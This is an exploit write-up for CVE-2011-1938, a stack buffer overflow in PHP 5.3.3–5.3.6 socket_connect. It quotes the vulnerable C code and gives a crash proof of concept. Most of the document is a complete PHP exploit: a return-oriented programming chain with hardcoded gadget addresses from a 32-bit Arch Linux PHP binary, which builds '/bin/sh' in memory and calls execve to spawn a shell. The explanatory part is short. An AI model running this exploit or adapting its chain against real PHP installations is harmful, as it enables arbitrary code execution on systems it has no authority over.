Analysis of CVE-2011-1938 - ROP exploitation in PHP 5.3.6

by Jonathan Salwan - 2011-07-04

Introduction

This CVE is not mine, I have only made the exploit based on the CVE description.

 

CVE description

Stack-based buffer overflow in the socket_connect function in ext/sockets/sockets.c in PHP 5.3.3 through 5.3.6 might allow context-dependent attackers to execute arbitrary code via a long pathname for a UNIX socket.

 

Vulnerable code

In ext/sockets/sockets.c:

PHP_FUNCTION(socket_connect)
{
  zval                    *arg1;
  php_socket              *php_sock;
  struct sockaddr_in      sin;
  #if HAVE_IPV6
  struct sockaddr_in6     sin6;
  #endif
  struct sockaddr_un      s_un; /* stack var */
  char                    *addr;
  int                     retval, addr_len;
  long                    port = 0;
  int                     argc = ZEND_NUM_ARGS();
  [...]

    case AF_UNIX:
       memset(&s_un, 0, sizeof(struct sockaddr_un));
       s_un.sun_family = AF_UNIX;
       memcpy(&s_un.sun_path, addr, addr_len); /* Unlimited copy. Classical stack overflow */
       retval = connect(php_sock->bsd_socket, (struct sockaddr *) &s_un, 
                (socklen_t) XtOffsetOf(struct sockaddr_un, sun_path) + addr_len);
       break;
  [...]
}

 

Proof of Concept

<?php
    $padd = str_repeat("A", 500);
    $fd   = socket_create(AF_UNIX, SOCK_STREAM, 1);
    $ret  = socket_connect($fd, $padd);
?>

 

Exploit

Exploit on Archlinux, binary php-5.3.6 x86-32

<?php
echo "[+] PHP 5.3.6 Buffer Overflow PoC (ROP)\n";

# Gadgets in /usr/bin/php
define('DUMMY',     "\x42\x42\x42\x42"); // padding
define('DATA',      "\x20\xba\x74\x08"); // .data 0x46a0   0x874ba20
define('DATA4',     "\x24\xba\x74\x08"); // DATA + 4
define('DATA8',     "\x28\xba\x74\x08"); // DATA + 8
define('DATA12',    "\x3c\xba\x74\x08"); // DATA + 12
define('INT_80',    "\x27\xb6\x07\x08"); // 0x0807b627: int $0x80
define('INC_EAX',   "\x66\x50\x0f\x08"); // 0x080f5066: inc %eax | ret
define('XOR_EAX',   "\x60\xb4\x09\x08"); // 0x0809b460: xor %eax,%eax | ret
define('MOV_A_D',   "\x84\x3e\x12\x08"); // 0x08123e84: mov %eax,(%edx) | ret
define('POP_EBP',   "\xc7\x48\x06\x08"); // 0x080648c7: pop %ebp | ret
define('MOV_B_A',   "\x18\x45\x06\x08"); // 0x08064518: mov %ebp,%eax | pop %ebx | pop %esi |
                                         //             pop %edi | pop %ebp | ret
define('MOV_DI_DX', "\x20\x26\x07\x08"); // 0x08072620: mov %edi,%edx | pop %esi | pop %edi |
                                         //             pop %ebp | ret
define('POP_EDI',   "\x23\x26\x07\x08"); // 0x08072623: pop %edi | pop %ebp | ret
define('POP_EBX',   "\x0f\x4d\x21\x08"); // 0x08214d0f: pop %ebx | pop %esi | pop %edi | 
                                         //             pop %ebp | ret
define('XOR_ECX',   "\xe3\x3b\x1f\x08"); // 0x081f3be3: xor %ecx,%ecx|pop %ebx|mov %ecx,%eax|
                                         //             pop %esi|pop %edi|pop %ebp|ret

$padd = str_repeat("A", 196);

$payload = POP_EDI.   // pop %edi
       DATA.      // 0x874ba20
       DUMMY.     // pop %ebp
       MOV_DI_DX. // mov %edi,%edx
       DUMMY.     // pop %esi
       DUMMY.     // pop %edi
       "//bi".    // pop %ebp
       MOV_B_A.   // mov %ebp,%eax
       DUMMY.     // pop %ebx
       DUMMY.     // pop %esi
       DUMMY.     // pop %edi
       DUMMY.     // pop %ebp
       MOV_A_D.   // mov %eax,(%edx)
       POP_EDI.   // pop %edi
       DATA4.     // 0x874ba24
       DUMMY.     // pop %ebp
       MOV_DI_DX. // mov %edi,%edx
       DUMMY.     // pop %esi
       DUMMY.     // pop %edi
       "n/sh".    // pop %ebp
       MOV_B_A.   // mov %ebp,%eax
       DUMMY.     // pop %ebx
       DUMMY.     // pop %esi
       DUMMY.     // pop %edi
       DUMMY.     // pop %ebp
       MOV_A_D.   // mov %eax,(%edx)
       POP_EDI.   // pop %edi
       DATA8.     // 0x874ba28
       DUMMY.     // pop %ebp
       MOV_DI_DX. // mov %edi,%edx
       DUMMY.     // pop %esi
       DUMMY.     // pop %edi
       DUMMY.     // pop %ebp
       XOR_EAX.   // xor %eax,%eax
       MOV_A_D.   // mov %eax,(%edx)
       XOR_ECX.   // xor %ecx,%ecx
       DUMMY.     // pop %ebx
       DUMMY.     // pop %esi
       DUMMY.     // pop %edi
       DUMMY.     // pop %ebp
       POP_EBX.   // pop %ebx
       DATA.      // 0x874ba20
       DUMMY.     // pop %esi
       DUMMY.     // pop %edi
       DUMMY.     // pop %ebp
       XOR_EAX.   // xor %eax,%eax
       INC_EAX.   // inc %eax
       INC_EAX.   // inc %eax
       INC_EAX.   // inc %eax
       INC_EAX.   // inc %eax
       INC_EAX.   // inc %eax
       INC_EAX.   // inc %eax
       INC_EAX.   // inc %eax
       INC_EAX.   // inc %eax
       INC_EAX.   // inc %eax
       INC_EAX.   // inc %eax
       INC_EAX.   // inc %eax
       INT_80;    // int $0x80

$evil = $padd.$payload;

$fd   = socket_create(AF_UNIX, SOCK_STREAM, 1);
$ret  = socket_connect($fd, $evil);
?>